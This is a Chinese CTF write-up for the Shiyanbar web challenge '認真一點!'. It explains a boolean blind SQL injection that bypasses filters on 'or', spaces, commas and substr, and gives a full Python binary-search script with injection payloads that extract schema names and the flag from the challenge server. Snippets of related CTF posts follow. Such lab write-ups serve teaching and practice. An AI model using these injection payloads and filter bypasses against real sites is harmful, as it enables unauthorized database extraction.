1. 程式人生 > >實驗吧 認真一點!

實驗吧 認真一點!

真的很久很久沒碰過這個玩意了,真是不會了,而且這個題目本身就不是很容易,搞得我也是滿肚子邪火,很氣。這個題目主要難在它吧過濾和ban結合到了一起了。我們還是先看題目,首先拿到題目看到輸入id=0和輸入id=1結果不一樣,這就奠定了盲注的基礎了

這裡寫圖片描述

然後我們肯定要fuzz一下,結果如下
這裡寫圖片描述

禁了union、and、substr,sleep,堵住了時間盲注、聯合查詢注入的路子,而且還把逗號禁止了…這就麻煩了,肯定偏移要用from和offset什麼的了,猜測語句一定是類似這樣的
select flag from flag where id=輸入

然後進行測試發現規律

這裡寫圖片描述

感謝出題人沒過濾單引號…然後我們構造
這裡寫圖片描述

把我興奮了老半天心想這就完了?結果並並並不是!!!他喵的過濾了or…或一個方向就完蛋
這裡寫圖片描述

然後我就迷茫了…最後發現可以用oorr或者Or代替就可
這裡寫圖片描述

然後就任我行了,注意空格被幹掉了,用什麼%09替換掉即可,再往後information什麼倒是都沒禁掉,但是注意information中包含or,需要替換掉。寫一個二分盲註腳本即可,具體用到limit的offset偏移。然後它禁掉了substr,但是我們還有mid,用mid(table from offset)即可,剩下的直接看程式碼吧,我的程式碼很難看,我是一邊調一邊寫的,所以我也事後看不懂…看語句即可…
# -*- coding: utf-8 -*-  
import requests import urllib url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' temp = 0 headers = { "Host": "ctf5.shiyanbar.com", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language"
: "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Referer": "http://ctf5.shiyanbar.com/web/earnest/index.php", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "81", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1" } def make_payload(target): return target.replace(' ','%09').replace('or','Or') def get_length(target): #獲取欄位長度 global headers global url for i in range(0,50): print i payload = target[:-5]+str(i)+target[-5:] payload = urllib.unquote(make_payload(payload)) #print payload data = {"id":payload,"submit":"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"} content = requests.post(url=url,headers=headers,data=data).text #print content if "You are in" in content: return i return 0 def search2(l,r,target): #二分盲注嘍,求單位元組 if l>r: return global headers global url global temp mid = (l+r)/2 payload = target[:-5]+str(mid)+target[-5:] payload = urllib.unquote(make_payload(payload)) print payload data = {"id":payload,"submit":"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"} content = requests.post(url=url,headers=headers,data=data).text if "You are in" in content: temp = max(temp,mid) search2(mid+1,r,target) else: search2(l,mid-1,target) def get_content(column,table,offset,len,where,sign): #這麼多引數是為了構造payload global temp content = '' for i in range(1,len+1): temp = 0 if sign==0: payload = "0'Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" limit 1 offset "+str(offset)+"))>=)Or'0" else: payload = "0'Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" "+str(where)+" limit 1 offset "+str(offset)+"))>=)Or'0" search2(0,255,payload) content+=chr(temp) print content return content #--------獲取資料庫名-------- #payload = "0'Or(length((select schema_name from information_schema.schemata limit 1 offset 1))=)Or'0" #len = get_length(payload) #18 #database = get_content('schema_name','information_schema.schemata',"1",18,0,0) #ctf_sql_bool_blind#test #--------獲取表名-------- #payload = "0'Or(length((select table_name from information_schema.tables where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64 limit 1 offset 0))=)Or'0" #len = get_length(payload) #4,5 #table = get_content('table_name','information_schema.tables',"0",4,'where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64',1) #fiag #--------獲取列名-------- #payload = "0'Or(length((select column_name from information_schema.columns where table_name=0x66696167 limit 1 offset 0))=)Or'0" #len = get_length(payload) #5 #column = get_content('column_name','information_schema.columns',"0",5,'where table_name=0x66696167',1) #fL$4G #--------獲取欄位內容-------- #payload = "0'Or(length((select fL$4G from fiag limit 1 offset 0))=)Or'0" #len = get_length(payload) #19 flag = get_content('fL$4G','fiag',"0",19,'0',0) #flag{haha~you win!}

有意思的題目,做出來很費勁…

相關推薦

實驗 認真一點

真的很久很久沒碰過這個玩意了,真是不會了,而且這個題目本身就不是很容易,搞得我也是滿肚子邪火,很氣。這個題目主要難在它吧過濾和ban結合到了一起了。我們還是先看題目,首先拿到題目看到輸入id=0和輸入id=1結果不一樣,這就奠定了盲注的基礎了 然後我們肯定

認真一點-實驗

這個題其實是個布林盲注題,怎麼說,正常是you are in,報錯是you are not in,觸發waf是sql injection detected然後fuzz一下,圖我就不貼了,做的時候忘了截下圖結果大概是過濾了and,空格,逗號,union,+這裡有個坑,fuzz的

IT從業者,生活精緻一點,工作認真一點

chapter 8 I soon learned to know this flower better.On the little prince's planet the flowers had always been very simple.They had only o

實驗WP(web部分)【簡單的登入題,後臺登入,加了料的報錯注入,認真一點,你真的會PHP嗎?】

一. 簡單的登入題這道題一點也不簡單,用到cbc位元組翻轉攻擊等技術,先跳過這題,想了解可看這裡。二. 後臺登入http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php這道題給了一個登入框,第一反應是sql注入,提交了一個1上去後發現

實驗web題(26/26)全writeup超詳細:)

替換 current repl tex 括號 註入 重定向 urn 其他 #簡單的SQL註入 http://www.shiyanbar.com/ctf/1875 1)試著在?id=1,沒有錯誤 2)試著?id=1‘,出錯了,有回顯,說明有註入點: You have an

實驗---隱寫術之男神一般都是很低調的

今天更新一下實驗吧裡面的題目關於隱寫術的,希望能夠幫助到未來的學弟學妹的學習! 永遠愛你們的

實驗ctf題庫:這個看起來有點簡單

       這是一道十分基礎的web題目,因為我也是剛剛接觸ctf,記錄一下第一道題的解題過程,算是自己的一個回顧吧,同時也給一些想要入門的朋友一點點微弱的參考吧。一、sqlmap的安裝       在windows下安裝sqlmap需要先下載適用windows的sqlma

實驗 隱寫術 男神一般都很低調很低調的

題目連結:http://www.shiyanbar.com/ctf/1926 題目的提示真的是良心啊,連用什麼工具都給你說了。 首先從解題連結裡下一個zip,解壓開啟便是兩張圖片,乍一看,兩張圖片是

每天進步一點 致每個人

nbsp 每天 感覺 思考 時間 目的 bsp 一點 個人 不要盲目的去行動!這樣總感覺時間不夠! 看完後的思考, 思考後的選擇, 選擇之後的行動才有價值!

實驗 貌似有點難 偽造ip

ons tar 得到 alt ont bsp targe fcm -h 解題鏈接: http://ctf5.shiyanbar.com/phpaudit/ 解答: 點擊View the source code —>代碼顯示IP為1.1.1.1即可得到KEY—>

實驗 burpsuie攔截修改請求

頁面 orm spa asi alt image size str style Forbidden 解題鏈接: http://ctf5.shiyanbar.com/basic/header/ 把language改成zh-hk,go,flag到手 Forms 題目地址:h

實驗delecms綜合滲透

滲透環境說明: 名字:網站綜合滲透_dedecms 環境:目標機:192.168.1.3 織夢cms開始滲透:網站首頁:先去後臺看看。看看默認後臺dede在不在,答案是存在的,如下圖得到key2:得到了後臺,但是不知道密碼,但是覺得這種實驗環境後臺密碼應該都是弱口令於是試了一下賬號:

實驗】藏在圖片中的秘密

src 一個 .com images 打開 mis 數字 lag image 如圖用winhex打開發現是壓縮文件: 將壓縮部分分離出來形成壓縮包,解壓時發現需要密碼輸入,又根據圖中給的算出對應的字符(需要把圖倒過來看):發現解壓密碼是XZY[ 解壓後是一個文本

實驗編程題找素數

prime 實驗 app clas pre code print urn list python實現找素數 原題目:設一個等差數列,首元素為367,公差為186, 現在要求找出屬於該等差數列中的第151個素數並輸出。 代碼: 1 def prime(a): 2

實驗編程題:字典

replace cti 分鐘 nbsp python line open pytho ict python編程實現 原題:包含ctf的單詞的總字符有多少? 代碼: 1 list = [] 2 for line in open(‘dictionary/dictionary.

實驗編程題:百米

-c 第一次用 列表 color entry 網頁 www php -1 第一次用python寫關於表單自動提交的程序,不是特別簡練 題目是這樣的: 經過觀察,只有數字是變動的,運算符是不變的,這就容易很多了 思路: 抓取網頁內容 通過正則表達式提取數字內容 通過特定的

實驗編程題:雙基回文數

。。 進位 return for str print == 兩個 至少 原題: 計算大於正整數1600000的最小雙基回文數 格式:CTF{ } 雙基回文數:如果一個正整數n至少在兩個不同的進位制b1和b2下都是回文數(2<=b1,b2<=10),則稱n 是雙基

實驗編程題:Hashkill

island pen log lan iges col lag 下劃線 spa 原題:6ac66ed89ef9654cf25eb88c21f4ecd0是flag的MD5碼,(格式為ctf{XXX_XXXXXXXXXXX_XXXXX})由一個0-1000的數字,下劃線,紐約的

【筆記】如何查看HTTP請求頭&&【實驗】天下武功唯快不破

mage key 經驗 int .com images 有一個 work 數據 打開Chrome瀏覽器,點擊右上角“三”按鈕。 點擊工具-----再點擊開發者工具 找到Network選項框。以百度經驗頁面為例,點擊任務選框來查看網絡請求流 在N

實驗】Once More&&【筆記】 PHP 函數漏洞總結

a-z != 百度 col tail alt strlen() 分享 style <?php if (isset ($_GET[‘password‘])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) ==